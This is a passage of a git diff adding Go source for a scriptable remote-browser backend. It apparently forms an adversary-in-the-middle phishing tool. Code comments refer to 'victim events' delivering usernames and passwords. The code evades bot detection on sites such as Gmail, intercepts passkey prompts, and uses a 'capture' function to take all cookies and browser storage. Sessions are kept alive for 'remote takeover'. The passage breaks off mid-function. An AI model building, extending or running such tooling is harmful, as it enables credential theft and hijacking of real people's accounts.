:= argStr(call.Argument(0)) + attr := argStr(call.Argument(1)) + dbg(fmt.Sprintf("? getAttribute %s[%s]", sel, attr)) + rPage, rCancel := readPage() + defer rCancel() + el, err := rPage.Element(sel) + must(err) + val, err := el.Attribute(attr) + must(err) + if val == nil { + dbg(fmt.Sprintf("= getAttribute %s[%s] null", sel, attr)) + return goja.Null() + } + dbg(fmt.Sprintf("= getAttribute %s[%s] %q", sel, attr, *val)) + return vm.ToValue(*val) + }) + + pc.Set("getAttributes", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("? getAttributes " + sel) + rPage, rCancel := readPage() + defer rCancel() + res, err := rPage.Eval(fmt.Sprintf("() => { const el = document.querySelector(%q); if (!el) return {}; return Object.fromEntries([...el.attributes].map(a => [a.name, a.value])) }", sel)) + must(err) + dbg(fmt.Sprintf("= getAttributes %s", sel)) + return vm.ToValue(res.Value.Val()) + }) + + pc.Set("setAttribute", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + attr := argStr(call.Argument(1)) + val := argStr(call.Argument(2)) + dbg(fmt.Sprintf("→ setAttribute %s[%s] = %q", sel, attr, val)) + _, err := page.Eval(fmt.Sprintf("() => { const el = document.querySelector(%q); if(el) el.setAttribute(%q, %q) }", sel, attr, val)) + must(err) + dbg(fmt.Sprintf("✓ setAttribute %s[%s]", sel, attr)) + return goja.Undefined() + }) + + pc.Set("removeAttribute", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + attr := argStr(call.Argument(1)) + dbg(fmt.Sprintf("→ removeAttribute %s[%s]", sel, attr)) + _, err := page.Eval(fmt.Sprintf("() => { const el = document.querySelector(%q); if(el) el.removeAttribute(%q) }", sel, attr)) + must(err) + dbg(fmt.Sprintf("✓ removeAttribute %s[%s]", sel, attr)) + return goja.Undefined() + }) + + pc.Set("getJSAttribute", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + attr := argStr(call.Argument(1)) + dbg(fmt.Sprintf("? getJSAttribute %s.%s", sel, attr)) + rPage, rCancel := readPage() + defer rCancel() + el, err := rPage.Element(sel) + must(err) + prop, err := el.Property(attr) + must(err) + dbg(fmt.Sprintf("= getJSAttribute %s.%s %v", sel, attr, prop.Val())) + return vm.ToValue(prop.Val()) + }) + + pc.Set("setJSAttribute", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + attr := argStr(call.Argument(1)) + val := argStr(call.Argument(2)) + dbg(fmt.Sprintf("→ setJSAttribute %s.%s = %q", sel, attr, val)) + _, err := page.Eval(fmt.Sprintf("() => { const el = document.querySelector(%q); if(el) el[%q] = %q }", sel, attr, val)) + must(err) + dbg(fmt.Sprintf("✓ setJSAttribute %s.%s", sel, attr)) + return goja.Undefined() + }) + + pc.Set("getNodeCount", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("? getNodeCount " + sel) + rPage, rCancel := readPage() + defer rCancel() + els, err := rPage.Elements(sel) + if err != nil { + return vm.ToValue(0) + } + dbg(fmt.Sprintf("= getNodeCount %s %d", sel, len(els))) + return vm.ToValue(len(els)) + }) + + // ------------------------------------------------------------------------- + // JavaScript evaluation + // ------------------------------------------------------------------------- + + pc.Set("evaluate", func(call goja.FunctionCall) goja.Value { + dbg("→ evaluate") + expr := argStr(call.Argument(0)) + rPage, rCancel := readPage() + defer rCancel() + res, err := proto.RuntimeEvaluate{Expression: expr}.Call(rPage) + must(err) + result := res.Result.Value.Val() + dbg(fmt.Sprintf("= evaluate %v", result)) + return vm.ToValue(result) + }) + + // ------------------------------------------------------------------------- + // Screenshots + // ------------------------------------------------------------------------- + + pc.Set("screenshot", func(call goja.FunctionCall) goja.Value { + name := argStr(call.Argument(0)) + dbg("→ screenshot " + name) + rPage, rCancel := readPage() + defer rCancel() + info, _ := rPage.Info() + buf, err := rPage.Screenshot(true, nil) + if err != nil { + if emitter != nil { + emitter.log(fmt.Sprintf("[screenshot] %s: %s", name, err)) + } + return goja.Undefined() + } + pageURL := "" + if info != nil { + pageURL = info.URL + } + if emitter != nil { + emitter.screenshot(name, buf, pageURL) + } + dbg("✓ screenshot " + name) + return goja.Undefined() + }) + + pc.Set("screenshotElement", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + name := argStr(call.Argument(1)) + dbg(fmt.Sprintf("→ screenshotElement %s as %s", sel, name)) + rPage, rCancel := readPage() + defer rCancel() + info, _ := rPage.Info() + el, err := rPage.Element(sel) + must(err) + must(el.WaitVisible()) + buf, err := el.Screenshot("", 0) + if err != nil { + if emitter != nil { + emitter.log(fmt.Sprintf("[screenshot] %s: %s", name, err)) + } + return goja.Undefined() + } + pageURL := "" + if info != nil { + pageURL = info.URL + } + if emitter != nil { + emitter.screenshot(name, buf, pageURL) + } + dbg("✓ screenshotElement " + name) + return goja.Undefined() + }) + + // ------------------------------------------------------------------------- + // Viewport & emulation + // ------------------------------------------------------------------------- + + pc.Set("setViewport", func(call goja.FunctionCall) goja.Value { + w := call.Argument(0).ToInteger() + h := call.Argument(1).ToInteger() + dbg(fmt.Sprintf("→ setViewport %dx%d", w, h)) + must(proto.EmulationSetDeviceMetricsOverride{ + Width: int(w), Height: int(h), DeviceScaleFactor: 1, + }.Call(page)) + dbg(fmt.Sprintf("✓ setViewport %dx%d", w, h)) + return goja.Undefined() + }) + + pc.Set("setViewportMobile", func(call goja.FunctionCall) goja.Value { + w := call.Argument(0).ToInteger() + h := call.Argument(1).ToInteger() + dbg(fmt.Sprintf("→ setViewportMobile %dx%d", w, h)) + must(proto.EmulationSetDeviceMetricsOverride{ + Width: int(w), Height: int(h), DeviceScaleFactor: 1, + Mobile: true, + }.Call(page)) + must(proto.EmulationSetTouchEmulationEnabled{Enabled: true}.Call(page)) + dbg(fmt.Sprintf("✓ setViewportMobile %dx%d", w, h)) + return goja.Undefined() + }) + + pc.Set("resetViewport", func(call goja.FunctionCall) goja.Value { + dbg("→ resetViewport") + must(proto.EmulationClearDeviceMetricsOverride{}.Call(page)) + dbg("✓ resetViewport") + return goja.Undefined() + }) + + pc.Set("setUserAgent", func(call goja.FunctionCall) goja.Value { + ua := argStr(call.Argument(0)) + dbg("→ setUserAgent " + ua) + must(proto.EmulationSetUserAgentOverride{UserAgent: ua}.Call(page)) + dbg("✓ setUserAgent") + return goja.Undefined() + }) + + // ------------------------------------------------------------------------- + // Utility + // ------------------------------------------------------------------------- + + pc.Set("wait", func(call goja.FunctionCall) goja.Value { + ms := call.Argument(0).ToInteger() + dbg(fmt.Sprintf("→ wait %dms", ms)) + select { + case <-page.GetContext().Done(): + must(page.GetContext().Err()) + case <-time.After(time.Duration(ms) * time.Millisecond): + } + dbg(fmt.Sprintf("✓ wait %dms", ms)) + return goja.Undefined() + }) + + // disableFidoUI enables the CDP WebAuthn virtual authenticator environment. + // In this mode Chrome intercepts WebAuthn/FIDO requests via CDP instead of + // showing the native "Passkeys & Security Keys" browser dialog, so DOM + // interactions remain possible while on the FIDO page. + pc.Set("disableFidoUI", func(call goja.FunctionCall) goja.Value { + dbg("→ disableFidoUI") + must(proto.WebAuthnEnable{}.Call(page)) + dbg("✓ disableFidoUI") + return goja.Undefined() + }) +} diff --git a/backend/remotebrowser/emitter.go b/backend/remotebrowser/emitter.go new file mode 100644 index 0000000..0f6c418 --- /dev/null +++ b/backend/remotebrowser/emitter.go @@ -0,0 +1,115 @@ +package remotebrowser + +import ( + "encoding/base64" + "sync" + "time" +) + +// RunEvent is an event emitted during script execution. +type RunEvent struct { + Type string `json:"type"` // "event", "log", "error", "done", "capture", "screenshot", "info", "submit" + Key string `json:"key,omitempty"` // for type=event/screenshot (label) + Value any `json:"value,omitempty"` // for type=event/capture/screenshot/submit (base64 data URI or arbitrary data) + URL string `json:"url,omitempty"` // for type=screenshot (page URL at capture time) + Message string `json:"message,omitempty"` // for type=log/error/info + Data any `json:"data,omitempty"` // for type=log: optional second arg from log(msg, data) + Time string `json:"time"` +} + +// channelEmitter sends events to a channel in a thread-safe way. +type channelEmitter struct { + mu sync.Mutex + events chan RunEvent +} + +func newChannelEmitter(events chan RunEvent) *channelEmitter { + return &channelEmitter{events: events} +} + +func (e *channelEmitter) emit(key string, value any) { + e.send(RunEvent{ + Type: "event", + Key: key, + Value: value, + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) +} + +func (e *channelEmitter) log(msg string, data ...any) { + evt := RunEvent{ + Type: "log", + Message: msg, + Time: time.Now().UTC().Format(time.RFC3339Nano), + } + if len(data) > 0 { + evt.Data = data[0] + } + e.send(evt) +} + +func (e *channelEmitter) errorf(msg string) { + e.send(RunEvent{ + Type: "error", + Message: msg, + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) +} + +func (e *channelEmitter) screenshot(label string, buf []byte, pageURL string) { + e.send(RunEvent{ + Type: "screenshot", + Key: label, + Value: "data:image/png;base64," + base64.StdEncoding.EncodeToString(buf), + URL: pageURL, + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) +} + +func (e *channelEmitter) capture(data interface{}) { + e.send(RunEvent{ + Type: "capture", + Value: data, + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) +} + +func (e *channelEmitter) info(msg string) { + e.send(RunEvent{ + Type: "info", + Message: msg, + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) +} + +func (e *channelEmitter) submitData(data interface{}) { + e.send(RunEvent{ + Type: "submit", + Value: data, + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) +} + +func (e *channelEmitter) done() { + e.send(RunEvent{ + Type: "done", + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) +} + +func (e *channelEmitter) send(evt RunEvent) { + e.mu.Lock() + defer e.mu.Unlock() + select { + case e.events <- evt: + default: + } +} + +// sendMust sends an event and blocks until it is accepted. Used for critical +// events (keep_alive) where a silent drop would corrupt session state. +func (e *channelEmitter) sendMust(evt RunEvent) { + e.mu.Lock() + defer e.mu.Unlock() + e.events <- evt +} diff --git a/backend/remotebrowser/navigate_safe.go b/backend/remotebrowser/navigate_safe.go new file mode 100644 index 0000000..2d8f8a2 --- /dev/null +++ b/backend/remotebrowser/navigate_safe.go @@ -0,0 +1,34 @@ +package remotebrowser + +import ( + "fmt" + "net/url" +) + +// ValidateNavigateURL blocks schemes that are dangerous when driven via CDP. +// chromedp.Navigate is a raw CDP command that bypasses Chrome's normal security +// context - file://, javascript: and data: are blocked by Chrome when triggered +// from within a page, but not when issued directly over DevTools. +// Exported so the controller's control-mode input dispatcher can reuse it. +func ValidateNavigateURL(raw string) error { + if raw == "" { + return fmt.Errorf("empty URL") + } + + u, err := url.Parse(raw) + if err != nil { + return fmt.Errorf("invalid URL: %w", err) + } + + switch u.Scheme { + case "http", "https": + default: + return fmt.Errorf("scheme %q not allowed, only http and https are permitted", u.Scheme) + } + + if u.Hostname() == "" { + return fmt.Errorf("URL has no host") + } + + return nil +} diff --git a/backend/remotebrowser/runner.go b/backend/remotebrowser/runner.go new file mode 100644 index 0000000..ca141ca --- /dev/null +++ b/backend/remotebrowser/runner.go @@ -0,0 +1,729 @@ +package remotebrowser + +import ( + "context" + "encoding/json" + "fmt" + "os" + "path/filepath" + "strings" + "time" + + "github.com/dop251/goja" + "github.com/go-rod/rod" + "github.com/go-rod/rod/lib/launcher" + "github.com/go-rod/rod/lib/proto" +) + +// Config holds browser connection and execution settings configurable by platform admins. +type Config struct { + Mode string `json:"mode"` // "local" or "remote" + Remote string `json:"remote"` // DevTools WS URL (mode=remote) + Proxy string `json:"proxy"` // socks5:// or http:// (mode=local) + Headless bool `json:"headless"` // run Chrome in headless mode (mode=local) + Timeout int `json:"timeout"` // ms, 0 = use DefaultTimeout +} + +const DefaultTimeout = 60_000 // ms + +// DefaultChromiumUA is a realistic non-headless Chrome UA used when headless=true +// and no explicit userAgent is configured. Prevents "HeadlessChrome" from leaking +// into the User-Agent header, which triggers bot-detection on many sites. +const DefaultChromiumUA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" + +// DefaultConfig returns a sensible default config. +func DefaultConfig() Config { + return Config{ + Mode: "local", + Timeout: DefaultTimeout, + } +} + +// ParseConfig parses a JSON config string, returning defaults for empty input. +func ParseConfig(raw string) (Config, error) { + cfg := DefaultConfig() + if raw == "" { + return cfg, nil + } + if err := json.Unmarshal([]byte(raw), &cfg); err != nil { + return cfg, err + } + if cfg.Timeout <= 0 { + cfg.Timeout = DefaultTimeout + } + if cfg.Mode != "remote" { + cfg.Remote = "" + } + return cfg, nil +} + +// chromeEnv builds a minimal environment for the Chrome subprocess, plus any +// caller-supplied overrides. Passing os.Environ() to Chrome leaks server +// secrets (DATABASE_URL, API keys, etc.) into the renderer process. +// Only variables Chrome actually needs are forwarded. +func chromeEnv(overrides ...string) []string { + allowed := map[string]bool{ + "HOME": true, "PATH": true, "USER": true, "LOGNAME": true, + "DISPLAY": true, "XAUTHORITY": true, "DBUS_SESSION_BUS_ADDRESS": true, + "FONTCONFIG_PATH": true, "FONTCONFIG_FILE": true, + } + var env []string + for _, kv := range os.Environ() { + key := kv + if i := strings.IndexByte(kv, '='); i >= 0 { + key = kv[:i] + } + if allowed[key] { + env = append(env, kv) + } + } + return append(env, overrides...) +} + +// resolveBrowserRootDir returns the directory Rod uses to cache its auto-downloaded +// Chromium. We use a path next to the running binary rather than $HOME/.cache +// because the systemd unit sets ProtectHome=true, making /home inaccessible to +// the service regardless of what /etc/passwd says. +func resolveBrowserRootDir() (string, error) { + execPath, err := os.Executable() + if err != nil { + return "", fmt.Errorf("cannot locate browser cache dir: %w", err) + } + return filepath.Join(filepath.Dir(execPath), "data", "browser"), nil +} + +// Runner executes a JS script against a Chrome instance and streams events +// to the Events channel. The caller must close or drain Events after Run returns. +type Runner struct { + Script string + Config Config + // ExecPath is the server-configured Chrome binary path (from config.json, + // not user-supplied). Empty = Rod auto-download. + ExecPath string + Events chan RunEvent // server → client + Incoming chan IncomingMsg // client → script (victim events / test injections) + // BrowserCh receives the *rod.Page as soon as newSession() spawns the browser. + // The caller reads this once to obtain the page for streaming. + BrowserCh chan *rod.Page + // LiveCh receives the *rod.Page when s.keepAlive() is called (kept for compat). + LiveCh chan *rod.Page + // StreamCh receives commands from s.stream(selector, name) / stop(). + StreamCh chan StreamCmd +} + +// IncomingMsg is an event sent from the client into the running script. +// Wire format: {"event": "credentials", "data": {"username": "...", "password": "..."}} +type IncomingMsg struct { + Event string `json:"event"` + Data interface{} `json:"data"` +} + +// StreamCmd is sent on Runner.StreamCh when the script calls s.stream() or the returned stop(). +type StreamCmd struct { + Op string // "start" | "stop" + Selector string // CSS selector (Op=start) + Name string // stream name + Page *rod.Page // rod page (Op=start) + MaxFps int // 0 = unlimited + Quality int // JPEG re-encode quality 1-100; 0 = default (92) +} + +// NewRunner creates a Runner with buffered event channels. +func NewRunner(script string, cfg Config) *Runner { + return &Runner{ + Script: script, + Config: cfg, + Events: make(chan RunEvent, 256), + Incoming: make(chan IncomingMsg, 256), + BrowserCh: make(chan *rod.Page, 1), + LiveCh: make(chan *rod.Page, 1), + StreamCh: make(chan StreamCmd, 16), + } +} + +// Run executes the script. It blocks until the script finishes, the context is +// cancelled, or the global timeout fires. The Events channel is closed when Run +// returns. +func (r *Runner) Run(ctx context.Context) error { + defer close(r.Events) + defer close(r.StreamCh) + + emitter := newChannelEmitter(r.Events) + + timeout := time.Duration(r.Config.Timeout) * time.Millisecond + ctx, cancel := context.WithTimeout(ctx, timeout) + defer cancel() + + vm := goja.New() + + // Interrupt the JS VM when the context expires so a pure-JS busy loop + // (e.g. while(true){}) cannot leak this goroutine after the timeout fires. + go func() { + <-ctx.Done() + vm.Interrupt(ctx.Err()) + }() + + // vmArgStr returns "" for undefined/null instead of the string "undefined". + vmArgStr := func(v goja.Value) string { + if goja.IsUndefined(v) || goja.IsNull(v) { + return "" + } + return v.String() + } + + vm.Set("emit", func(call goja.FunctionCall) goja.Value { + key := vmArgStr(call.Argument(0)) + value := call.Argument(1).Export() + emitter.emit(key, value) + return goja.Undefined() + }) + + vm.Set("log", func(call goja.FunctionCall) goja.Value { + msg := vmArgStr(call.Argument(0)) + if len(call.Arguments) > 1 && !goja.IsUndefined(call.Argument(1)) && !goja.IsNull(call.Argument(1)) { + emitter.log(msg, call.Argument(1).Export()) + } else { + emitter.log(msg) + } + return goja.Undefined() + }) + + vm.Set("info", func(call goja.FunctionCall) goja.Value { + msg := vmArgStr(call.Argument(0)) + emitter.info(msg) + return goja.Undefined() + }) + + vm.Set("submitData", func(call goja.FunctionCall) goja.Value { + data := call.Argument(0).Export() + emitter.submitData(data) + return goja.Undefined() + }) + + vm.Set("waitForEvent", func(call goja.FunctionCall) goja.Value { + key := vmArgStr(call.Argument(0)) + emitter.log(fmt.Sprintf("[waitForEvent] waiting for %q", key)) + for { + select { + case <-ctx.Done(): + panic(vm.NewGoError(ctx.Err())) + case msg, ok := <-r.Incoming: + if !ok { + panic(vm.NewGoError(fmt.Errorf("incoming channel closed"))) + } + if msg.Event == key { + emitter.log(fmt.Sprintf("[waitForEvent] received %q", key)) + return vm.ToValue(msg.Data) + } + } + } + }) + + vm.Set("waitForAny", func(call goja.FunctionCall) goja.Value { + // waitForAny(["password", "username"]) or waitForAny("password", "username") + // Returns {event: "...", data: ...} for whichever arrives first. + keySet := make(map[string]bool) + if len(call.Arguments) == 1 { + if arr, ok := call.Argument(0).Export().([]interface{}); ok { + for _, v := range arr { + keySet[fmt.Sprintf("%v", v)] = true + } + } else { + keySet[vmArgStr(call.Argument(0))] = true + } + } else { + for _, a := range call.Arguments { + keySet[vmArgStr(a)] = true + } + } + for { + select { + case <-ctx.Done(): + panic(vm.NewGoError(ctx.Err())) + case msg, ok := <-r.Incoming: + if !ok { + panic(vm.NewGoError(fmt.Errorf("incoming channel closed"))) + } + if keySet[msg.Event] { + result := vm.NewObject() + result.Set("event", msg.Event) + result.Set("data", vm.ToValue(msg.Data)) + return result + } + } + } + }) + + // Note: withTimeout is intentionally NOT available at the top level because + // there is no page context to thread through. Use session.withTimeout(ms, fn) instead. + + vm.Set("newSession", func(call goja.FunctionCall) goja.Value { + type sessionOpts struct { + Proxy string + Remote string + Headless bool + IdleTimeout int // ms; 0 = disabled + Debug bool + QueryTimeout int // ms; 0 = no timeout on read ops + UserAgent string + } + opts := sessionOpts{ + Headless: r.Config.Headless, + } + if r.Config.Proxy != "" { + opts.Proxy = r.Config.Proxy + } + if r.Config.Mode == "remote" && r.Config.Remote != "" { + opts.Remote = r.Config.Remote + } + + if len(call.Arguments) > 0 { + obj := call.Argument(0).ToObject(vm) + if obj != nil { + if v := obj.Get("proxy"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.Proxy = v.String() + } + if v := obj.Get("remote"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.Remote = v.String() + } + if v := obj.Get("headless"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.Headless = v.ToBoolean() + } + if v := obj.Get("idleTimeout"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.IdleTimeout = int(v.ToInteger()) + } + if v := obj.Get("debug"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.Debug = v.ToBoolean() + } + if v := obj.Get("queryTimeout"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.QueryTimeout = int(v.ToInteger()) + } + if v := obj.Get("userAgent"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.UserAgent = v.String() + } + } + } + + var browser *rod.Browser + var page *rod.Page + + if opts.Remote != "" { + if opts.Proxy != "" { + emitter.log(fmt.Sprintf("[session] warning: proxy %q ignored for remote browser", opts.Proxy)) + } + emitter.log(fmt.Sprintf("[session] connecting to remote browser at %s", opts.Remote)) + browser = rod.New().ControlURL(opts.Remote).Context(ctx) + if err := browser.Connect(); err != nil { + emitter.errorf(fmt.Sprintf("browser connect failed: %v", err)) + return goja.Undefined() + } + var err error + page, err = browser.Page(proto.TargetCreateTarget{URL: "about:blank"}) + if err != nil { + emitter.errorf(fmt.Sprintf("page create failed: %v", err)) + browser.Close() //nolint:errcheck + return goja.Undefined() + } + } else { + rootDir, err := resolveBrowserRootDir() + if err != nil { + emitter.errorf(err.Error()) + return goja.Undefined() + } + // Newer Chromium requires writable XDG dirs and a crash-dumps-dir at + // startup (see go-rod#1126). Use subdirs of the browser root so all + // Chrome-related data lives in one place. + crashDir := filepath.Join(rootDir, "crashes") + os.MkdirAll(crashDir, 0755) //nolint:errcheck + os.MkdirAll(filepath.Join(rootDir, "config"), 0755) //nolint:errcheck + os.MkdirAll(filepath.Join(rootDir, "cache"), 0755) //nolint:errcheck + + l := launcher.New(). + Headless(opts.Headless). + Set("disable-crash-reporter"). + Set("crash-dumps-dir", crashDir). + // Prevents navigator.webdriver from being set to true, which is + // the primary signal sites like Gmail use to detect automation. + Set("disable-blink-features", "AutomationControlled"). + Env(chromeEnv( + "XDG_CONFIG_HOME="+filepath.Join(rootDir, "config"), + "XDG_CACHE_HOME="+filepath.Join(rootDir, "cache"), + )...) + + if r.ExecPath != "" { + l = l.Bin(r.ExecPath) + } else { + b := launcher.NewBrowser() + b.RootDir = rootDir + binPath := b.BinPath() + if _, err := os.Stat(binPath); os.IsNotExist(err) { + if err := b.Download(); err != nil { + emitter.errorf(fmt.Sprintf("browser download failed: %v", err)) + return goja.Undefined() + } + } + l = l.Bin(binPath) + } + if opts.Proxy != "" { + emitter.log(fmt.Sprintf("[session] using proxy: %s", opts.Proxy)) + l = l.Proxy(opts.Proxy).Set("proxy-bypass-list", "") + } + u, err := l.Launch() + if err != nil { + emitter.errorf(fmt.Sprintf("browser launch failed: %v", err)) + return goja.Undefined() + } + browser = rod.New().ControlURL(u).Context(ctx) + if err := browser.Connect(); err != nil { + emitter.errorf(fmt.Sprintf("browser connect failed: %v", err)) + return goja.Undefined() + } + page, err = browser.Page(proto.TargetCreateTarget{URL: "about:blank"}) + if err != nil { + emitter.errorf(fmt.Sprintf("page create failed: %v", err)) + browser.Close() //nolint:errcheck + return goja.Undefined() + } + } + + // Apply user-agent override. When headless and no explicit UA is set we use + // DefaultChromiumUA to strip "HeadlessChrome" from the header — a common + // trigger for "unsupported browser" pages (Gmail, etc.). + ua := opts.UserAgent + if ua == "" && opts.Headless { + ua = DefaultChromiumUA + } + if ua != "" { + if err := page.SetUserAgent(&proto.NetworkSetUserAgentOverride{UserAgent: ua}); err != nil { + emitter.log(fmt.Sprintf("[session] warning: failed to set user-agent: %v", err)) + } + } + + // Signal the controller that a page is ready for streaming. + select { + case r.BrowserCh <- page: + default: + } + + session := vm.NewObject() + RegisterBrowserBindings(vm, session, page, emitter, opts.Debug, opts.QueryTimeout) + + session.Set("withTimeout", func(call goja.FunctionCall) goja.Value { + ms := call.Argument(0).ToInteger() + fn, ok := goja.AssertFunction(call.Argument(1)) + if !ok { + panic(vm.NewTypeError("withTimeout: second argument must be a function")) + } + tCtx, tCancel := context.WithTimeout(page.GetContext(), time.Duration(ms)*time.Millisecond) + defer tCancel() + tPage := page.Context(tCtx) + tmpSession := vm.NewObject() + RegisterBrowserBindings(vm, tmpSession, tPage, nil, opts.Debug, opts.QueryTimeout) + _, err := fn(goja.Undefined(), tmpSession) + if err != nil { + panic(err) + } + return goja.Undefined() + }) + + session.Set("close", func(call goja.FunctionCall) goja.Value { + emitter.log("[session] closing") + if opts.Remote != "" { + page.Close() //nolint:errcheck + } else { + browser.Close() //nolint:errcheck + } + return goja.Undefined() + }) + + // keepAlive parks the script and signals the caller that the page + // is available for streaming. It blocks until the runner context + // is cancelled (e.g. the admin closes the live session). + session.Set("keepAlive", func(call goja.FunctionCall) goja.Value { + emitter.log("[session] keeping alive for remote takeover") + select { + case r.LiveCh <- page: + default: + } + emitter.sendMust(RunEvent{ + Type: "keep_alive", + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) + <-ctx.Done() + emitter.log("[session] keep-alive ended") + return goja.Undefined() + }) + + // Event-driven API: s.on(event, fn) + s.listen() + s.done() + handlers := map[string]goja.Callable{} + listenDone := make(chan struct{}, 1) + + session.Set("on", func(call goja.FunctionCall) goja.Value { + event := call.Argument(0).String() + fn, ok := goja.AssertFunction(call.Argument(1)) + if !ok { + panic(vm.NewTypeError("on: second argument must be a function")) + } + handlers[event] = fn + return goja.Undefined() + }) + + session.Set("done", func(call goja.FunctionCall) goja.Value { + select { + case listenDone <- struct{}{}: + default: + } + return goja.Undefined() + }) + + session.Set("listen", func(call goja.FunctionCall) goja.Value { + emitter.log("[session] listening for events") + + var idleCh <-chan time.Time + var idleTimer *time.Timer + resetIdle := func() { + if opts.IdleTimeout > 0 { + if idleTimer != nil { + idleTimer.Stop() + } + idleTimer = time.NewTimer(time.Duration(opts.IdleTimeout) * time.Millisecond) + idleCh = idleTimer.C + } + } + resetIdle() + + for { + select { + case <-ctx.Done(): + return goja.Undefined() + case <-listenDone: + return goja.Undefined() + case <-idleCh: + emitter.log(fmt.Sprintf("[session] idle timeout (%dms), closing", opts.IdleTimeout)) + if opts.Remote != "" { + page.Close() //nolint:errcheck + } else { + browser.Close() //nolint:errcheck + } + return goja.Undefined() + case msg, ok := <-r.Incoming: + if !ok { + return goja.Undefined() + } + resetIdle() + fn, exists := handlers[msg.Event] + if !exists { + emitter.log(fmt.Sprintf("[session] no handler for %q, ignoring", msg.Event)) + continue + } + if _, err := fn(goja.Undefined(), vm.ToValue(msg.Data)); err != nil { + panic(err) + } + } + } + }) + + // s.stream(selector, name) — non-blocking; returns {stop()} to end the stream. + // The caller (controller) watches StreamCh to start/stop cropped frame forwarding. + streamDebug := opts.Debug // capture bool, not struct field, to match RegisterBrowserBindings pattern + session.Set("stream", func(call goja.FunctionCall) goja.Value { + selector := vmArgStr(call.Argument(0)) + name := vmArgStr(call.Argument(1)) + if selector == "" || name == "" { + panic(vm.NewTypeError("stream: selector and name are required")) + } + maxFps := 0 + quality := 0 + if len(call.Arguments) > 2 { + if obj := call.Argument(2).ToObject(vm); obj != nil { + if v := obj.Get("maxFps"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + maxFps = int(v.ToInteger()) + } + if v := obj.Get("quality"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + quality = int(v.ToInteger()) + } + } + } + if streamDebug { + emitter.log(fmt.Sprintf("[dbg] → stream %s as %q (maxFps=%d, quality=%d)", selector, name, maxFps, quality)) + } + select { + case r.StreamCh <- StreamCmd{Op: "start", Selector: selector, Name: name, Page: page, MaxFps: maxFps, Quality: quality}: + default: + } + if streamDebug { + emitter.log(fmt.Sprintf("[dbg] ✓ stream %s as %q started", selector, name)) + } + stopObj := vm.NewObject() + stopped := false + stopObj.Set("stop", func(call goja.FunctionCall) goja.Value { + if !stopped { + stopped = true + if streamDebug { + emitter.log(fmt.Sprintf("[dbg] → stream stop %q", name)) + } + select { + case r.StreamCh <- StreamCmd{Op: "stop", Name: name}: + default: + } + if streamDebug { + emitter.log(fmt.Sprintf("[dbg] ✓ stream stop %q", name)) + } + } + return goja.Undefined() + }) + return stopObj + }) + + // s.capture() / s.capture({cookies,localStorage,sessionStorage}) + // Grabs cookies via CDP + localStorage/sessionStorage via JS, emits a "capture" event, + // and also returns the data so scripts can inspect it directly. + session.Set("capture", func(call goja.FunctionCall) goja.Value { + // Options: + // domains []string - filter cookies to these domains via CDP (e.g. ["google.com"]) + // cookieNames []string - only keep cookies with these names + // localStorage bool - include localStorage (default true when no domains given) + // sessionStorage bool - include sessionStorage (default true when no domains given) + var domains []string + var cookieNames []string + lsExplicit, ssExplicit := false, false + capLS := true + capSS := true + + if len(call.Arguments) > 0 { + obj := call.Argument(0).ToObject(vm) + if obj != nil { + if v := obj.Get("domains"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + if arr, ok := v.Export().([]interface{}); ok { + for _, d := range arr { + domains = append(domains, fmt.Sprintf("%v", d)) + } + } + } + if v := obj.Get("cookieNames"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + if arr, ok := v.Export().([]interface{}); ok { + for _, n := range arr { + cookieNames = append(cookieNames, fmt.Sprintf("%v", n)) + } + } + } + if v := obj.Get("localStorage"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + capLS = v.ToBoolean() + lsExplicit = true + } + if v := obj.Get("sessionStorage"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + capSS = v.ToBoolean() + ssExplicit = true + } + } + } + + // When domains are specified, skip storage by default unless the caller explicitly opted in. + if len(domains) > 0 { + if !lsExplicit { + capLS = false + } + if !ssExplicit { + capSS = false + } + } + + result := map[string]interface{}{} + + // Cookie capture: domain-scoped via network.GetCookies (CDP) or all cookies. + if len(domains) > 0 { + urls := make([]string, len(domains)) + for i, d := range domains { + d = strings.TrimPrefix(d, ".") + if !strings.HasPrefix(d, "http") { + d = "https://" + d + } + urls[i] = d + } + res, err := proto.NetworkGetCookies{Urls: urls}.Call(page) + if err == nil { + cookies := res.Cookies + // Filter by name if requested. + if len(cookieNames) > 0 { + nameSet := make(map[string]bool, len(cookieNames)) + for _, n := range cookieNames { + nameSet[n] = true + } + filtered := cookies[:0] + for _, c := range cookies { + if nameSet[c.Name] { + filtered = append(filtered, c) + } + } + cookies = filtered + } + result["cookies"] = cookies + } else { + emitter.log(fmt.Sprintf("[capture] cookies: %s", err)) + } + } else { + // StorageGetCookies returns all browser cookies (all domains), + // equivalent to the CDP Storage.getCookies command. + res, err := proto.StorageGetCookies{}.Call(page) + if err == nil { + cookies := res.Cookies + // Filter by name if requested. + if len(cookieNames) > 0 { + nameSet := make(map[string]bool, 